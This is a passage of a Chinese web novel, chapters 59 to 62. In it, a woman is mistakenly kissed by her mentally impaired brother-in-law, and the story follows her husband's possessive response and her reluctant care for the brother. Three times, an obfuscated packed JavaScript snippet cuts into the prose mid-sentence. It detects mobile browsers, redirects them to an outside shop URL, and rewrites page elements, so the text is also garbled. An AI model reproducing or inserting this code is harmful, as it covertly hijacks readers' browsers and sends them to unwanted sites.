渐渐地,她发现,痴傻了的郑淮舟,剥去了昔日冷硬将军的外壳,显露出一种近乎赤诚的单纯。他会因她一句随口夸奖而高兴半天,会把他认为最好的点心藏起来留给她,会在她蹙眉时,笨手笨脚地想学戏文里的丑角逗她开心。 每当这时,李妙仪心中那份厌烦与尴尬,便会不知不觉中掺入一丝复杂的怜悯。 可她清楚地知道,她的心,从来只属于一个人。 59. 吻错 李妙仪是被一种熟悉的触感唤醒的。 夜已深,窗棂外透进檐角风灯的光,混着淅淅沥沥的冷雨,将卧房浸染得朦胧而潮润。半梦半醒间,温热的呼吸拂过她的脸颊,旋即,一片柔软轻轻覆上她的唇,先是试探般地贴着,继而含住了她的下唇。 是伯章。 睡意仍黏着眼皮,身子却先于意识作出回应。她眼睫轻颤,并未睁开,只鼻间溢出一声慵懒的轻哼。唇角不自觉地弯起,她启唇迎合,如往常无数个夜晚,亲昵入骨,熟稔无间。 他似是被这顺从取悦,力道稍稍加重。可下一瞬,唇上的力道倏地凝住。 她只当他是故意逗弄,朦胧间笑意更柔,抬手柔若无骨地环住他的脖颈,紧紧扣住,青葱指尖穿插于发间,缓慢摩挲,将他欲退开的距离拉近。 唇瓣再度相贴,她主动缠上去,辗转厮磨。 窗外雨声淅沥,屋内只有细碎的水声与交错的呼吸。她浅啄轻蹭,一点点舐去他唇上的凉意,舌尖带着缱绻的安抚,游弋、勾缠,唇齿间渐渐漫开一丝若有若无的苦涩,像刚饮过药茶。 与此同时,她的指腹从他发间滑至后颈,不轻不重地揉捏了两下,将人缠得再无半分空隙。 他的呼吸乱了节拍,笨拙地迎上来,唇瓣轻轻擦过她的,咬了咬,便又仓皇退开些许。 李妙仪终于察觉出异样。郑淮序从不这样回应,他会牢牢揽紧她的腰,用新冒出的胡茬蹭她的脸颊,而不是像此刻这般,生涩得近乎无措。 她睁开了眼。 昏暗中,一张脸近在咫尺。轮廓是熟悉的,英挺的眉,深邃的眼。可那双眼睛睁得极大,瞳仁里倒映着她惊愕的面容,像一只受了惊的小兽。 不是郑淮序。 是郑淮舟。 她的手还埋在他发间,指尖瞬间僵住,进退不得。而他就那样直直望着她,方才吻过她的唇,泛着浅浅水光,微微翕动,急促而紊乱的呼吸一下一下扑在她脸上,烫得惊人。 仿佛一盆冰水兜头浇下,李妙仪浑身血液瞬间凝住,又在下一瞬疯狂奔涌,冲得她耳畔嗡鸣作响。她像被烫着一般猛地松开手,用尽全力将他推开。 郑淮舟毫无防备,踉跄着后退,撞翻了床边的绣墩,发出一声闷响。 李妙仪撑起身子,大口喘息,心几乎要从嗓子眼里蹦出来。她猛地抬手,用袖子狠狠擦拭自己的嘴唇,一下又一下,用力到唇瓣发痛,仿佛要将方才的触感连同那可怕的误会,一同从身上剐去。 “你!”她声音发颤,指尖亦发颤,羞愤与恼怒几乎要将她淹没,“郑淮舟!你怎么敢!” 郑淮舟穿着一件略显单薄的长袍,袍角沾着外头的雨水与泥污,发丝也有些散乱。他仰头望着她,面容没有半分愧疚或邪念,只有满满的不知所措。听到她的怒斥,他眼眶里的水光更盛,却倔强地不肯落下,只是瘪了瘪嘴。 “言言。”他咬字异常认真,抬手指指她,又指指自己心口,“你是我的妻子。” 李妙仪擦唇的动作一顿,心口像被什么钝器击中。 是了,她险些忘了,昔日骁勇善战的大将军,如今形如稚子,记忆混乱,连人都认不全。 此刻,看着他坐在地上,泪水终于夺眶而出,大颗大颗滚落,却死死咬着嘴唇不肯哭出声的模样,她满腔怒火忽然梗在了喉间。 郑淮舟见她不说话,眼泪流得更凶了。他膝行着往前挪了两步,又不敢靠太近,只是伸出衣袖,小心翼翼地碰了碰她的裙摆,声音带着浓重的哭腔和委屈:“不要凶,好想你,想了好久。外面冷,翻窗,想看看你。” 李妙仪低头看着他。 借着窗外透进的光,她望见他袍角未干的泥水,望见他哭红的鼻尖,更望见他望向自己的眼神,清澈而炽热。 那不是登徒子的狎昵,也不是恶人的窥伺。只是痴傻之人,笨拙而执拗的奔赴。 她紧紧攥着被角的手,缓缓松开了。 窗外雨声潺潺,李妙仪闭了闭眼,深深吸了口气,再睁开时,眼中的厉色已褪去大半,只余疲惫与复杂。 “来人。”她扬声唤道。 郑淮舟慌忙松开她的裙摆,胡乱用袖子擦了擦脸上的泪,却擦得满脸狼藉。他站起身,有些手足无措地往后退,眼睛却一直黏在她身上,带着小心翼翼的讨好与祈求。 李妙仪别开眼,不再看他。 青鸾推门进来,望见房内情形,却也不敢多问,只低着头去扶郑淮舟:“世子,咱们回去吧。” 郑淮舟被扶着往外走,行至门口,又忍不住回头望了一眼。烛光下,那个坐在床榻上的人影,模糊而遥远。 门轻轻合上,隔绝了所有视线。 李妙仪一夜未眠。 窗外雨声不知何时停了,天色将明未明时,她才迷迷糊糊阖了眼。梦里全是混乱的片段,她站在两个人中间,他们同时唤她,声音重叠在一起,分不清谁是谁。 惊醒时已是日上三竿。 李妙仪对镜坐着,看见自己眼下两团淡淡的青黑,心里乱成一团麻。 要告诉郑淮序吗? 这念头从醒来便盘踞在心头。若不说,她总觉得像藏了什么见不得人的事;可若说了,他会怎么想?那毕竟是他的亲兄长,又是那样一个痴傻之人,并非存心轻薄。 她便这样纠结了一整日。 午后去给婆母请安时,恰好在花园里远远望见了郑淮舟。他蹲在池塘边,不知在看什么,背影寂寥而专注。许是听见脚步声,他回过头来,一见是她,眼睛骤然亮起,猛地站起身,嘴唇翕动,像是要喊她。 李妙仪脚步一顿,转身绕了另一条路。 直到日头西斜,郑淮序才从官署回来。 李妙仪在垂花门迎他,见他大步走来,心里的纠结忽然化成了委屈。她只想扑进他怀里,把昨夜的事、今日的烦乱,统统告诉他。 郑淮序一眼便看出她不对劲。 “怎么了?”他握住她的手,眉头微蹙,“手这样凉。谁给你气受了?” 李妙仪摇摇头,勉强笑笑:“没有,等你用晚膳呢。” 席间她几度欲言又止,筷子拨弄着碗里的米饭,半天没吃几口。郑淮序也不催她,只是目光时不时落在她脸上,带着几分洞察的了然。 直到丫鬟们撤下残席,端了热茶上来,又鱼贯退下,屋里只剩他们二人。 郑淮序端起茶盏,轻轻吹了吹,语气寻常:“说吧。” 李妙仪心头一跳,抬眸看他。 他的目光平静,甚至称得上温和,可那平静底下,似乎藏着什么她看不透的东西。 她咬了咬唇,终于开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17293195|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“昨夜,你兄长跑进来了。” 郑淮序端着茶盏的手极轻微地顿了一下,随即若无其事地饮了一口茶:“嗯。” “他……他以为我是……”李妙仪脸颊烧起来,声音越来越低,“我睡迷糊了,还以为是……” 她没有说完,但话里的意思已再明白不过。 郑淮序放下茶盏,抬眼看着她。 那目光依旧平静,却让李妙仪莫名有些心慌。她连忙补充道:“我立刻就醒了,把他赶走了!真的!” “我知道。”郑淮序打断她,语气淡淡,“兄长的事,我心中有数。” 李妙仪愣住了。 就这样吗? 她预想过许多种反应,恼怒、吃味、追问细节,唯独没想过他会这样平静。 “你不生气?”她忍不住问。 郑淮序站起身,走到她面前,垂眸看着她。烛光在他脸上投下深浅不一的阴影,让他的神情显得有些模糊。 “生谁的气?”他问,“兄长?他如今是痴儿,连自己做过什么都未必记得清。还是生你的气?你不过是睡迷糊了。” 李妙仪被他说得哑口无言,心里却隐隐觉得哪里不对。他太冷静了,冷静得不像一个丈夫听说妻子被旁人……之后的反应。 “晚膳还用吗?”郑淮序忽然问。 李妙仪摇摇头,她哪里还有心情。 “那正好。”郑淮序微微颔首,“我让人炖了鸡汤,你喝一碗。” 话题转得太快,李妙仪还没反应过来,他已出去吩咐了。片刻后,丫鬟端着一盅热气腾腾的鸡汤进来,郑淮序亲手接了,在她身边坐下。 “喝吧。”他用勺子轻轻搅动,舀起一勺,吹了吹,送至她唇边。 李妙仪怔怔地望着他,那勺汤已贴在她唇上。她只好张嘴喝了,温热的汤汁滑入喉咙,带着淡淡的药香。 “好喝吗?”他问。 李妙仪点点头。 他便又舀起一勺,继续喂她。一碗汤,就这样一勺一勺喂完了。 郑淮序拿帕子替她擦了擦唇角,动作轻柔而细致,目光始终落在她脸上,带着一种说不清道不明的专注。 李妙仪被看得心跳莫名快了几分,轻声唤他:“伯章。” “嗯。”他应了一声,忽然站起身,将她打横抱起。 李妙仪低呼一声,下意识搂住他脖颈。她还没反应过来,人已被他扛在肩上,大步往内室走去。 “你做什么?”她拍他的背。 他没有回答。 内室的门被一脚踢开,又在他身后重重合上。李妙仪只觉得一阵天旋地转,人已经被放倒在床榻上。郑淮序俯身下来,双手撑在她身侧,将她整个人笼罩在他的阴影里。 烛火被他带起的风吹得摇曳不定,明明灭灭的光影间,李妙仪终于看清了他眼中的情绪—— 那根本不是平静。 是压抑了一整晚的、暗流涌动的占有欲。 “夫君。”她的声音不自觉地软下来。 郑淮序低下头,唇瓣轻轻擦过她耳垂,声音低哑:“你说,睡迷糊了,以为是我就回应了?” 李妙仪浑身一颤,耳根瞬间红透。 “那让我看看,”他的唇沿着她耳廓缓缓移动,气息温热而灼人,“你到底有多迷糊。” 60. 浮木 郑淮序的吻落了下来。 那吻极轻,像羽毛拂过,若有若无。李妙仪忍不住偏了偏头,想要更多,下唇微微抬起,却在半空中触了个空。他偏偏停在那里,唇瓣悬在她肌肤之上,不动了。 她能感觉到他的呼吸拂过她的唇角,一下,又一下,像是故意数给她听。 “你别逗我。”她声音里带了几分祈求,手指攀上他的衣袖。 郑淮序低低笑了一声,那笑声闷在她颈窝里,震得她心尖发颤。他抬起手,用指腹轻轻抚过她的眉心,沿着鼻梁向下,停在唇珠上,按了按。 “急什么。” 那一夜,李妙仪才真正知道什么叫“撩拨”。 他的吻落在她眉心,像蜻蜓点水,旋即离开。她刚想追寻,他的唇已经移到了眼睑,,轻得几乎感觉不到,却烫得她睫毛颤动。然后在鼻尖停了最长的一瞬,她以为他要吻下来了,他却忽然偏开头,吻上了她的唇角。 每一个地方都照顾到了,唯独避开那两片等着他的唇。 她像漂浮在海中的小船,被一波又一波的浪潮推着,眼看就要触碰礁石,却总在最后一刻被轻轻拉回。她的呼吸越来越急,指尖攥着他的衣襟,攥得指节泛白,又松开,又攥紧。 不知第几次从迷蒙中清醒,李妙仪眼角沁出了泪,尾音发着抖,软得能掐出水来:“郑淮序,你到底要怎样!” 郑淮序的动作停住了。 他的额角沁出了薄汗,几缕碎发湿漉漉地贴在鬓边,汗珠顺着发梢缓缓滑落,在下颌处悬了一瞬,滴落在她颈间。可他的眼神依旧是清醒的,甚至带着几分审视的意味。 他轻轻擦过她眼角的泪,用拇指指腹将那滴泪抹开,在她脸颊上留下一道湿润的痕迹。盯了片刻,忽然低下头,用唇覆了上去,将那一道泪痕一点一点吻干净。 然后,他终于含住了她的唇。 那吻极深极重,仿佛要将她的呼吸都夺走。李妙仪脑子里嗡的一声炸开,一片空白,仰起头,舌尖不由自主地与他纠缠在一起,尝到他唇齿间泪水的咸。 良久,他才放开她,气息不稳地抵着她的额头。 “感觉到了吗?”他的声音沙哑得厉害,喉咙微震,“我吻你,是这样。” 李妙仪眼睫还在颤,嘴唇微微张着,像是缺氧的鱼。 他摩挲着她嫣红的唇瓣,那指腹带着薄茧,蹭过她唇角时有一种粗粝的痒。她下唇微微红肿,被他反复碾过的地方烫得惊人。 “以后,”他一字一顿,声音低沉而清晰,“每一次,我都要你清清楚楚地认明白,吻你的是谁。” 唇瓣再次压下来,舌尖扫过她上颚时,她浑身一颤,后背弓起又落下,手指攀上他的肩背。 “没有半分认错的可能。”他在她唇齿间低语,声音含糊而危险。 李妙仪搂紧他的脖颈,将脸埋在他肩窝里。她蹭了蹭,像一只寻求安抚的猫,声音闷闷的,带着几分委屈:“知道了,从来……从来就只有你……” 郑淮序肩膀微微颤抖,像是绷紧的弦终于松了下来,随即将她抱得更紧。他的下巴抵在她发顶,呼吸渐渐平稳下来,却仍有一声几不可闻的叹息,散在她发丝间。 窗外不知何时又飘起了细雨,内室的烛火终于燃尽了,最后一缕青烟散去,只余下黑暗中交缠的呼吸。 不知过了多久,雨声渐渐歇了。 檐角还滴着水,一滴,一滴,敲在青石板上,像更漏。 李妙仪蜷在郑淮序怀里,连指尖都懒得动一下。她迷迷糊糊地想,原来他生起气来,是这样磨人的。 郑淮序抚着她汗湿的长发,指尖从发顶滑到发尾,再滑回来,一遍又一遍。他的掌心温热,带着薄茧,每一次从她发间滑过,都带着一种说不出的珍重。 他忽然说道:“兄长的事,我会安排。” 李妙仪困得厉害,含糊地“嗯”了一声,脸在他肩窝里蹭了蹭,寻了个更舒服的姿势。 “往后,他不会再有机会进你的院子。”他的指尖绕着她一缕发丝,那发丝被他缠在指间又松开,松开了又缠上。 李妙仪没有说话,呼吸渐渐平稳,已然睡熟了。 郑淮序低头看她,脸颊上还残留着红晕,唇角微微翘着,不知在做什么好梦。他凝视了许久,才轻轻在她额上落下一个吻。 “睡吧。” 李妙仪以为那夜之后,这件事便算揭过去了。 郑淮序说到做到,第二日便重新安排了院中的值守,她这个小院,连一只陌生的飞虫都别想钻进来。 日升月落,花开鸟鸣。李妙仪渐渐将那夜的荒唐与尴尬抛在脑后,偶尔想起,也不过是怔一怔神,旋即摇头失笑。 然而她忘了,这府里能越过郑淮序的,还有一个人。 国公夫人派人来请的时候,李妙仪正在窗下绣一只香囊。丫鬟传话的语气小心翼翼的,说是世子那边闹得厉害,已经两日不肯进食了,谁劝都没用,嘴里翻来覆去只念叨一句话—— “要见言言。” 李妙仪的指尖一紧,针尖扎进指腹,沁出一颗细细的血珠。她若无其事地将针放下,把手指送到唇边,轻轻吮了吮。 “夫人说,”丫鬟低着头,声音越发轻了,“请您过去一同用午膳,只消您在场,世子便肯吃饭了。就一顿饭的工夫,您坐着就好。” 李妙仪沉默了很久。 窗外的日光明晃晃的,照得廊下那两盆茉莉愈发白得耀眼。有风从窗棂缝隙钻进来,带着茉莉的香气,还有隐隐约约的蝉鸣。 蝉声一阵一阵的,忽远忽近,像是在催着人做决定。 她想去吗? 自然是不想的。 那日之后,她不知该如何面对郑淮舟。可她更不忍心的是,那个鬓边已生白发的婆母。 她放下绣绷,站起身,声音平静:“走吧。” 一进颐年堂,李妙仪便看见郑淮舟坐在窗边的矮榻上。 他今日穿了件月白色的家常袍子,头发梳得齐整,显然是被丫鬟们好生收拾过的。可他整个人却像霜打的茄子,蔫蔫地垂着头,下巴抵在膝盖上,一动不动。 “世子,您看谁来了?”丫鬟轻声唤他。 郑淮舟猛地抬头。 那一瞬间,李妙仪看见他眼睛亮了。他几乎是连滚带爬地从榻上下来,鞋都顾不上穿,赤着脚便往她这边跑,跑到一半又猛地停住,像是想起了什么,怯生生地站在三步之外,眼巴巴地望着她。 那眼神,像一只被丢弃过又捡回来的小狗,想靠近,又怕被踢开。 李妙仪心头不知被什么轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17293196|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扯了一下。 几日不见,他瘦了一圈,眼窝微微凹陷,下巴上冒出了青色的胡茬,嘴唇干裂起皮,像是一个久病的人。 “胡闹。”国公夫人从内室出来,看见郑淮舟赤着脚,又是心疼又是气,“鞋呢?你们怎么伺候的?” 丫鬟们慌忙去拿鞋,郑淮舟却浑然不觉,只盯着李妙仪,张了张嘴,声音沙哑得厉害:“言言来了。” 李妙仪垂下眼,福身向国公夫人行礼。 国公夫人忙扶住她,眼中带着几分歉疚和感激:“好孩子,难为你了。这孽障,两日了,水米不进,请了大夫来看,只说再这样下去身子扛不住,我也是实在没法子了。” 李妙仪摇摇头,轻声道:“母亲言重了。” 她没说“应该的”,因为她心里并不觉得这是她应该做的。可她也没拒绝,因为眼前的婆母和那个傻站着的人,都让她说不出拒绝的话。 午膳摆在暖阁的小花厅里。 国公夫人坐在上首,李妙仪坐在她身侧,郑淮舟被安排在李妙仪对面。丫鬟们鱼贯布菜,摆了满满一桌,香味在花厅里弥漫开来。 郑淮舟却不动筷子,只是直愣愣地盯着李妙仪看,仿佛少看一眼她就会消失似的。 “济川,”国公夫人温声道,声音里带着几分小心翼翼的哄劝,“言儿陪你吃饭,你乖乖吃,好不好?” 郑淮舟眨了眨眼,终于把目光移到自己面前的碗上。他拿起筷子,夹了一块鱼肉,却没往自己嘴里送,而是颤巍巍地伸长了胳膊,往李妙仪那边递。 “言言,吃。” 李妙仪眼底掠过一丝错愕。那块鱼肉悬在半空,筷子上还沾着汤汁,眼看就要滴在桌面上。郑淮舟的眼神殷切而紧张,害怕被拒绝。 她本该拒绝的,她应该说“我自己来”,然后客气而疏离地让他把筷子收回去。 可她看了一眼国公夫人,婆母的眼眶已经微微泛红,却强忍着,对她露出一个歉意的笑。 终于,她端起自己的碗,伸了过去。 那块鱼肉落进碗里,郑淮舟的眼睛弯成了两道月牙,这才心满意足地收回筷子,埋头扒了一大口饭。 国公夫人别过脸,悄悄用帕子按了按眼角。 一顿饭就这样吃完了。郑淮舟吃得比谁都香,眼睛却始终黏在李妙仪身上,她夹什么菜,他也跟着夹什么菜,她放下筷子,他立刻也放下筷子,学得有模有样。 饭后,丫鬟们撤了席,端上茶来。国公夫人拉着李妙仪的手,屏退了左右,只留她们二人在内室说话。 “言儿,我知道你心里苦。”国公夫人哽咽道,“伯章那里,我会和他说一声的。” 李妙仪低头不语。 “济川这里,”国公夫人叹了口气,“大夫说他这痴症,不知何时能好,也许三年五载,也许一辈子就这样了。可他到底是我身上掉下来的肉,看着他这样,我这当娘的心……” 她说不下去了,握紧了李妙仪的手。 李妙仪只觉得那只手微微颤抖,干燥而温热,是一个母亲无能为力时唯一能抓住的浮木。 “母亲。”她抬起头,声音轻而稳,“我明白了。” 国公夫人泪眼婆娑地看着她,想说什么,终究只是拍了拍她的手背:“好孩子,委屈你了。” 61. 连绵 自此,李妙仪每日会去颐年堂坐一两个时辰。 她只当是完成婆母布置的任务,去了便寻一本书看,或带上针线箩,绣那只还没完工的香囊。 郑淮舟怕打扰她,又舍不得离她太远,便把自己团成一团,趴在榻上,下巴搁在交叠的手臂上,一眨不眨地望着她。 偶尔抬眼间,正对上他的目光。他也不躲,反而弯起眼睛冲她笑,笑得干干净净的,像山间初融的雪水,没有一丝杂质。 她收回目光,继续看书。 有时她作画,他凑过来看。她研墨,他也要伸手帮忙,结果帮了倒忙,弄得满手墨汁,又不知所措地将手藏到背后,以为她没看见。 李妙仪看着他那双黑乎乎的手,想说什么,又咽了回去。她起身去拿帕子,朝他伸出手。 郑淮舟先是往后缩了一下,见她不恼,才慢慢把手递过来。墨汁已经干了,不好擦,她沾了茶水,一点一点给他拭净。 擦完了,他又笑起来,眼睛弯成两道月牙,掩不住愉悦:“言言好。” 李妙仪没应声,只把帕子放下,重新铺开宣纸作画。 她画的是远山近水,先勾轮廓,再皴擦,最后点染。全是为打发时间、陶冶情操,并无复杂技法。 郑淮舟安静坐在身旁,看她一笔一笔地画。她的笔落在哪里,他的目光就跟到哪里,比那笔尖还要专注。 这样的日子,倒也相安无事。 直到那日郑淮序从官署回来,来颐年堂给国公夫人请安,顺道接她一同回院子。 他进门的时候,李妙仪正在窗边绣那只香囊。郑淮舟照常趴在旁边,目不转睛地看着她。 “伯章来了。”国公夫人笑道。 郑淮舟听见这个名字,身子明显僵了一下。他抬起头,见郑淮序大步走进来,目光在他脸上停留一瞬,又落在他身后的李妙仪身上。 他忽然坐直了身子,往李妙仪那边挪了挪,像是要挡在她前面。 郑淮序权当没看见他的小动作,先给母亲行了礼,才走到李妙仪身边,俯身在她额上落下一个吻。 “今日可好?” 李妙仪笑着应道:“都好。” 郑淮序点点头,目光落在她手里的香囊上:“绣的什么?” “给你的。”李妙仪将香囊举起来给他看,“快好了,再有两日便能戴上。” 那香囊已经接近完工,针脚细密匀称,一看便知花了多少心思。香囊下方缀着深青色的流苏,打了双钱结,是她特意学的。 郑淮序眼中泛起笑意,瞥见旁边案上的点心,拈起一块,递到她唇边:“尝尝,厨房新做的。” 李妙仪就着他的手咬了一口。桂花糕的香甜在舌尖化开,绵软细腻,确实好吃。 下一秒,一声暴喝几乎要将屋顶掀翻。 “放开她!” 郑淮舟从榻上跳起来,赤红着眼朝郑淮序扑过去。他的动作太猛,将榻上的引枕带到了地上,自己也差点被绊倒。他一把推开郑淮序的手,那块点心骨碌碌滚出去老远,沾了一地的灰。 他自己则挡在李妙仪身前,张开双臂,把她护在身后。 “我的是我的!”他冲郑淮序吼,声音都破了音,脖子上青筋暴起,“言言是我的!不许你喂!” 郑淮序愣了一下,随即微微挑眉。 李妙仪坐在原处,一时不知该作何反应。 郑淮舟见郑淮序不说话,更来劲了,可声音里却带了哭腔:“你抢我的言言,我不许!不许你碰她!” 他说着说着,眼泪已经扑簌簌落下来,顺着脸颊往下淌。他哭得狼狈,却还是挡在李妙仪身前,不肯让开。 国公夫人扶额,叹了口气。 郑淮序看着他从小敬重的兄长,此刻哭得像个三岁孩子,却还死死护着身后的女子,心中不知该气还是该笑。 他上前一步。 “阿兄,”郑淮序的声音平静,甚至带着几分无奈,“她是我的夫人。” “我的是我的!”郑淮舟寸步不让,眼泪流得更凶了,“我先……我先有的……” 李妙仪听见这句话,心尖莫名一跳,人也跟着顿住。 郑淮序看了她一眼,那目光里带着几分玩味,像是在说:瞧你惹的麻烦。 李妙仪果断别开眼,假装没看见。 “好,你的你的。”郑淮序懒得计较,伸手将郑淮舟轻轻拨开,转身对母亲道,“母亲,我们先回去了。” 郑淮舟还要扑上去,被国公夫人一把拽住。 “济川!”国公夫人喝道,声音难得严厉起来,“不听话言言就不再来了!” 郑淮舟挣了几下,挣不开,眼睁睁看着他们十指交握,那么自然,那么亲密,一步一步走出门去。 他哭得上气不接下气,嘴里还在嘟囔:“我的……是我的……” 李妙仪走到门口,回头看了一眼。 郑淮舟被国公夫人按在榻上,还在挣扎,可目光却一直追着她,眼泪糊了满脸,狼狈又可怜。 可他看见她回头,哭声顿了一下,拼命伸出手,朝她的方向够着。 李妙仪收回目光,跟着郑淮序走出院门。 一路上郑淮序都没说话。 天色已经暗下来,廊下的灯笼次第亮起,昏黄的光晕一圈一圈的,在地上投下斑驳的影子。有晚归的鸟儿从头顶飞过,扑棱棱的翅膀声远去。 直到进了自己的院子,他才停下脚步,转过身来看她。 李妙仪被他看得有些心虚,又不知自己在心虚什么。 “今日……”她开口想解释。 郑淮序却忽然笑了。 那笑容里没有恼怒,没有醋意,只有几分说不清的复杂。他伸手揉了揉她的发顶,轻声道:“妙仪,辛苦你了。” 那一刻,李妙仪鼻尖酸涩不已。 郑淮序将她揽进怀里,下巴贴着她颈侧,声音低低的:“兄长那样,不是他的错,你别往心里去。” 李妙仪靠在他胸口,听着他沉稳有力的心跳。她闭上眼,将脸埋在他胸前。那些纷乱的思绪,也被压进了心底最深处。 入夏之后,雨水连绵。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298629|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 午后还是明晃晃的日头,转眼间乌云压顶,闷雷滚滚。丫鬟们赶紧关窗,刚关上,雨就下来了。廊下的画眉被雨水困住,叫声淹没在铺天盖地的雨声里。 郑淮序这几日早出晚归,也不知带没带伞。 傍晚时分,雨势稍歇外头忽然传来脚步声。她抬起头,就看见郑淮序掀帘走了进来。 他身上那件官服,肩头和袖口都洇湿了,颜色比别处深了几分。发丝上也沾着细细的水珠,鬓边有几缕贴在脸上。 “淋着了?”李妙仪起身迎上去。 郑淮序站在门口,没有立刻往里走,怕把湿气带进去。他从袖中掏出帕子,擦了擦脸上的水渍,这才道:“还好,到官署之后才下的,回来的时候叫了车,只在门口走了几步。” 李妙仪接过他手里的帕子,又递了块干的过去。她绕到他身后,仔细看了看他里头的袍子,果然还是干的,这才放下心来。 “快把湿衣裳换下来。” 郑淮序点点头,去了屏风后头。李妙仪扬声唤丫鬟端热茶来,又让人把炭盆挪近些,虽说是夏天,淋了雨的人,总要驱驱寒。 不多时,郑淮序换了身家常的袍子出来,坐到榻上。昏黄的光笼在他身上,侧脸线条分明,眉宇间却有几分倦色。 “案子不顺利?”她轻声问。 “八公主那案子,查出了些新东西。”郑淮序喝了口热茶,“原以为是那几个余孽各自逃窜,顺藤摸瓜查下去,才发现不止。” 李妙仪眉头微蹙:“不止?” “有个组织,藏得很深。”郑淮序将茶盏放下,“之前几桩案子,均有他们的手笔。他们用银钱收买,用美色诱惑,用把柄挟持。编织了一张网,慢慢渗透。八公主一案,不过是这张网露出来的一个线头。” “他们这是想让朝野震动?”李妙仪心头一紧,“棘手吗?” 郑淮序转过头来看她,握住她攥紧的手,一点一点把她手指上的凉意捂热。 “有些,不过不急。”他说,语气里有几分罕见的疲惫,“网再大,也有收的时候。只是需要时间,需要耐心。” “我想不通,身为大雍子民,搅乱池水对他们有什么好处?”她眉头还蹙着,“若涉及皇储,太子与三皇兄,都不像这等不顾大局的人。” “利益面前,人心叵测。”他声音很轻,像是怕惊着什么,“有时候,选择很难。难到让人以为自己没有选择。” 李妙仪听着这话,心里忽然涌起一种说不清的滋味。 在人前,他总是从容的,冷静的,仿佛什么事都难不倒他。可此刻,在这雨夜里,他眉间的倦意却那么分明,分明到她忍不住想伸手去抚平。 “那你呢?” “我?” “你有选择吗?” 这话问得没头没尾,可他知道她在问什么。 “有。”他眼里的笑意深了些,低头在她手背上落下一吻,“我的选择,就是让你好好儿的。” 那吻很轻,轻得像窗外的雨丝,可落在手背上,却烫得她心尖一颤。 62. 心软 雨声已纠缠了数日,潮气无孔不入,直往骨缝里钻。空气是稠的,吸进去,胸膛里便沉沉地坠着什么,沉甸甸的,挥之不去。 入夜时分,暴雨骤然落下。 李妙仪刚卸了钗环,青丝散落一肩,准备宽衣就寝。窗外一道惨白的闪电劈开夜空,紧接着闷雷滚滚而来,震得窗纸都在簌簌发抖。 她手上的动作顿住,下意识往窗外望了一眼。 这样大的雨,今夜怕是睡不安稳了。 丫鬟们早已退下,外间只留了一盏孤灯。她掀开锦被坐进床榻,正欲吹熄床头那支红烛,忽然听见什么声音混在雨声里,隐隐约约传进来。 她侧耳细听,是敲门声。 她以为是风吹动了什么,可那声音持续不断地响着,不由蹙了蹙眉:这么晚了,又是这样大的雨,谁会来? 她披了件外衫,起身走到门边,低声问:“谁在外面?” 门外没有应答,只有敲门声还在继续。 李妙仪犹豫了一瞬,将门拉开一道缝。一道闪电恰好在这时撕裂夜空,雪亮的光骤然照亮了门外之人的脸。 郑淮舟浑身湿透,头发贴在脸颊上,雨水顺着下巴往下滴。可怀里却紧紧抱着一个枕头,用防水的油布包裹得严严实实,看起来竟是半点没湿。 李妙仪惊讶道:“你怎么在这儿?” 夜风微凉,郑淮舟下意识往门里缩,声音颤抖得厉害:“怕打雷,睡不着,想来找言言……” 李妙仪心头一紧。 郑淮序今夜去了官署,说是要处理紧急公务,不知何时才能回来。她一个人在这院里,于情于理都不该放他进来。 “不行,你回自己院里去,让你院里的丫鬟陪着你。” 郑淮舟拼命摇头,摇得像拨浪鼓似的:“不要她们,不要。言言不陪我,我就在外面等着。” 又一道惊雷落下,他吓得整个人一缩,竟直接蹲了下去,抱着枕头缩成一团。他像一只被遗弃在风雨中的小狗,无助又可怜。 李妙仪望着他,喉间像是被什么堵住了。 她侧开身子,别过脸去,声音硬邦邦的:“进来,只此一次。” 郑淮舟猛地抬头,几乎是连滚带爬地进了门,脚下踉跄了一下,险些摔倒。可一站定,他便忍不住笑起来。 李妙仪从架上取了一条巾帕,远远扔给他:“把身上擦擦,别弄湿了我的地。” 郑淮舟一把接住巾帕,擦着擦着,眼睛一直往李妙仪那边瞟,瞟一眼,笑一下。 那笑傻得不忍直视,李妙仪别开目光,指了指外间的矮榻:“你今晚睡那里,老实点,不许进内室,听见没有?” 郑淮舟用力点头,抱紧了他的枕头,老老实实在矮榻上坐下。 李妙仪不放心地看了他一眼,转身走进内室。待重新躺回床榻,她却怎么也睡不着了。 外间时不时传来窸窸窣窣的声响,是郑淮舟翻身的动静。每一声雷响起,那动静便会停一瞬,随即又响起。她知道他在害怕,却忍着不敢出声。 又一道惊雷炸响。 这一次格外近,仿佛就在屋顶炸开。李妙仪自己都吓了一跳,下意识攥紧了被角。 